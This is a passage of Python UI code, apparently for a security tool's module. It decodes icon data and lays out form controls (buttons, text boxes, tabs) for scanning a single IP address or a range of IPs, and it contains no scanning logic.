b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/0M3M/9jV1P/g3dv/3drY/1ZUV/8fHiL/IB8j/yAfI/8hICT/hYSF/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4d7c/7Sysf8tLDD/IB8j/yAfI/8gHyP/JCMn/7Curv/h3tz/4N3b/7u4uP/d2tn/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//w7+7/6Obl/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+He3P+0srH/IyIm/yAfI/8gHyP/IB8j/3Jxcv/e29r/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4d7c/6uoqf8pKCz/IB8j/yAfI/8fHiL/Wlha/9/c2v/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b//Dv7v/o5uX/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/3BucP8fHiL/IB8j/x8fIv9mZGb/2dbV/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4d7c/5qYmf8mJSn/IB8j/yAfI/8oKCv/w8HA/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/8O/u/+jm5f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//Y1dT/Pz1A/yAfI/8eHSL/VVRW/9bT0f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/4+Njv8jIib/IB8j/x4dIf+PjY7/4t/d/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//w7+7/6Obl/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/8nGxf8rKi7/Hx4i/0tKTP/OzMr/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/39za/399fv8gHyP/Hx4i/2poa//h3tz/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b//Dv7v/o5uX/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/xMLB/ygnKv87OT3/ysjH/+He3P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/3NnY/3FvcP8eHSL/Y2Fk/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/8O/u/+jm5f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//U0dD/TUtO/768u//h3tz/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/29jW/2BfYf99e3z/4t/d/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//w7+7/6Obl/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/9/c2v/Sz87/4d7c/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/1tPS/9HOzf/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b//Dv7v/o5uX/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/8O/u/+jm5f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//w7+7/7uzr/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk/+fl5P/n5eT/5+Xk//Tz8v8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==') + ui.FormClosing += lambda s,e: self.stopper() + mod_tab_control_1 = ModTabControl() + mod_tab_control_1.Name = 'mod_tab_control_1' + mod_tab_control_1.Size = ModUiTools.GetSizeDefinition(884,561) + mod_tab_control_1.Location = ModUiTools.GetLocationDefinition(0,0) + mod_tab_control_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_tab_control_1.Dock = ModUiTools.GetDockStyleDefinition('Fill') + mod_tab_control_1.Enabled = True + mod_tab_control_1.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_tab_control_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_tab_control_1.TabPages.Add('tab_page_1', ' Scan Single IP ') + mod_split_container_1 = ModSplitContainer() + mod_split_container_1.Name = 'mod_split_container_1' + mod_split_container_1.Size = ModUiTools.GetSizeDefinition(876,535) + mod_split_container_1.Location = ModUiTools.GetLocationDefinition(0,0) + mod_split_container_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_split_container_1.Dock = ModUiTools.GetDockStyleDefinition('Fill') + mod_split_container_1.Enabled = True + mod_split_container_1.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_split_container_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_split_container_1.FixedPanel = ModUiTools.GetFixedPanel('Panel1') + mod_split_container_1.IsSplitterFixed = True + mod_split_container_1.Orientation = ModUiTools.GetSplitOrientation('Horizontal') + mod_split_container_1.SplitterDistance = 50 + #report POP UP + popup_ok_btn1 = ModButton() + popup_ok_btn1.Name = 'popup_ok_btn1' + popup_ok_btn1.Size = ModUiTools.GetSizeDefinition(75,23) + popup_ok_btn1.Location = ModUiTools.GetLocationDefinition(401,214) + popup_ok_btn1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + popup_ok_btn1.Dock = ModUiTools.GetDockStyleDefinition('None') + popup_ok_btn1.Enabled = True + popup_ok_btn1.Visible = False + popup_ok_btn1.BackColor = ModUiTools.GetColorDefinition(-986896) + popup_ok_btn1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + popup_ok_btn1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + popup_ok_btn1.Text = Tools.Base64Decode('T0s=') + popup_ok_btn1.Click += lambda s,e: self.popupMsg_disable() + mod_split_container_1.Panel2.Controls.Add(popup_ok_btn1) + ui.ModControls['popup_ok_btn1'] = popup_ok_btn1 + report_popup_lb1 = ModLabel() + report_popup_lb1.Name = 'report_popup_lb1' + report_popup_lb1.Size = ModUiTools.GetSizeDefinition(481,66) + report_popup_lb1.Location = ModUiTools.GetLocationDefinition(217,145) + report_popup_lb1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + report_popup_lb1.Dock = ModUiTools.GetDockStyleDefinition('None') + report_popup_lb1.Enabled = True + report_popup_lb1.Visible = False + report_popup_lb1.BackColor = ModUiTools.GetColorDefinition(-986896) + report_popup_lb1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + report_popup_lb1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + report_popup_lb1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_split_container_1.Panel2.Controls.Add(report_popup_lb1) + ui.ModControls['report_popup_lb1'] = report_popup_lb1 + #code + save_report_1 = ModButton() + save_report_1.Name = 'save_report_1' + save_report_1.Size = ModUiTools.GetSizeDefinition(96,23) + save_report_1.Location = ModUiTools.GetLocationDefinition(780,24) + save_report_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + save_report_1.Dock = ModUiTools.GetDockStyleDefinition('None') + save_report_1.Enabled = True + save_report_1.Visible = False + save_report_1.BackColor = ModUiTools.GetColorDefinition(-986896) + save_report_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + save_report_1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + save_report_1.Text = Tools.Base64Decode('U2F2ZSBSZXBvcnQ=') + save_report_1.Click += lambda s,e: self.Save_Report_Handler_1() + mod_split_container_1.Panel1.Controls.Add(save_report_1) + ui.ModControls['save_report_1'] = save_report_1 + #Finished ccode for report button + mod_label_1 = ModLabel() + mod_label_1.Name = 'mod_label_1' + mod_label_1.Size = ModUiTools.GetSizeDefinition(216,23) + mod_label_1.Location = ModUiTools.GetLocationDefinition(14,15) + mod_label_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_1.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_1.Enabled = True + mod_label_1.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_1.Text = Tools.Base64Decode('RW50ZXIgSVAgYWRkcmVzcyB0byBTY2FuIChFZzogMTkyLjE2OC4xLjEpOg==') + mod_split_container_1.Panel1.Controls.Add(mod_label_1) + ui.ModControls['mod_label_1'] = mod_label_1 + start_btn1 = ModButton() + start_btn1.Name = 'start_btn1' + start_btn1.Size = ModUiTools.GetSizeDefinition(95,23) + start_btn1.Location = ModUiTools.GetLocationDefinition(471,12) + start_btn1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + start_btn1.Dock = ModUiTools.GetDockStyleDefinition('None') + start_btn1.Enabled = True + start_btn1.BackColor = ModUiTools.GetColorDefinition(-986896) + start_btn1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + start_btn1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + start_btn1.Text = Tools.Base64Decode('U3RhcnQgU2Nhbg==') + start_btn1.Click += lambda s,e: self.start_thread1() + mod_split_container_1.Panel1.Controls.Add(start_btn1) + ui.ModControls['start_btn1'] = start_btn1 + input_single_ip_tb = ModTextBox() + input_single_ip_tb.Name = 'input_single_ip_tb' + input_single_ip_tb.Size = ModUiTools.GetSizeDefinition(193,20) + input_single_ip_tb.Location = ModUiTools.GetLocationDefinition(248,12) + input_single_ip_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + input_single_ip_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + input_single_ip_tb.Enabled = True + input_single_ip_tb.BackColor = ModUiTools.GetColorDefinition(-1) + input_single_ip_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + input_single_ip_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + input_single_ip_tb.ReadOnly = False + input_single_ip_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + input_single_ip_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + input_single_ip_tb.Multiline = False + input_single_ip_tb.WordWrap = True + input_single_ip_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_split_container_1.Panel1.Controls.Add(input_single_ip_tb) + ui.ModControls['input_single_ip_tb'] = input_single_ip_tb + output_tb1 = ModRichTextBox() + output_tb1.Name = 'output_tb1' + output_tb1.Size = ModUiTools.GetSizeDefinition(876,481) + output_tb1.Location = ModUiTools.GetLocationDefinition(0,0) + output_tb1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + output_tb1.Dock = ModUiTools.GetDockStyleDefinition('Fill') + output_tb1.Enabled = True + output_tb1.BackColor = ModUiTools.GetColorDefinition(-16777216) + output_tb1.ForeColor = ModUiTools.GetColorDefinition(-16728064) + output_tb1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + output_tb1.ReadOnly = True + output_tb1.ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition('Both') + output_tb1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + output_tb1.Multiline = True + output_tb1.WordWrap = True + output_tb1.DetectUrls = True + mod_split_container_1.Panel2.Controls.Add(output_tb1) + ui.ModControls['output_tb1'] = output_tb1 + mod_tab_control_1.TabPages['tab_page_1'].Controls.Add(mod_split_container_1) + ui.ModControls['mod_split_container_1'] = mod_split_container_1 + mod_tab_control_1.TabPages.Add('tab_page_2', ' Scan Range of IPs ') + mod_split_container_2 = ModSplitContainer() + mod_split_container_2.Name = 'mod_split_container_2' + mod_split_container_2.Size = ModUiTools.GetSizeDefinition(876,535) + mod_split_container_2.Location = ModUiTools.GetLocationDefinition(0,0) + mod_split_container_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_split_container_2.Dock = ModUiTools.GetDockStyleDefinition('Fill') + mod_split_container_2.Enabled = True + mod_split_container_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_split_container_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_split_container_2.FixedPanel = ModUiTools.GetFixedPanel('Panel1') + mod_split_container_2.IsSplitterFixed = True + mod_split_container_2.Orientation = ModUiTools.GetSplitOrientation('Horizontal') + mod_split_container_2.SplitterDistance = 50 + #saved report label + popup_ok_btn2 = ModButton() + popup_ok_btn2.Name = 'popup_ok_btn2' + popup_ok_btn2.Size = ModUiTools.GetSizeDefinition(75,23) + popup_ok_btn2.Location = ModUiTools.GetLocationDefinition(401,214) + popup_ok_btn2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + 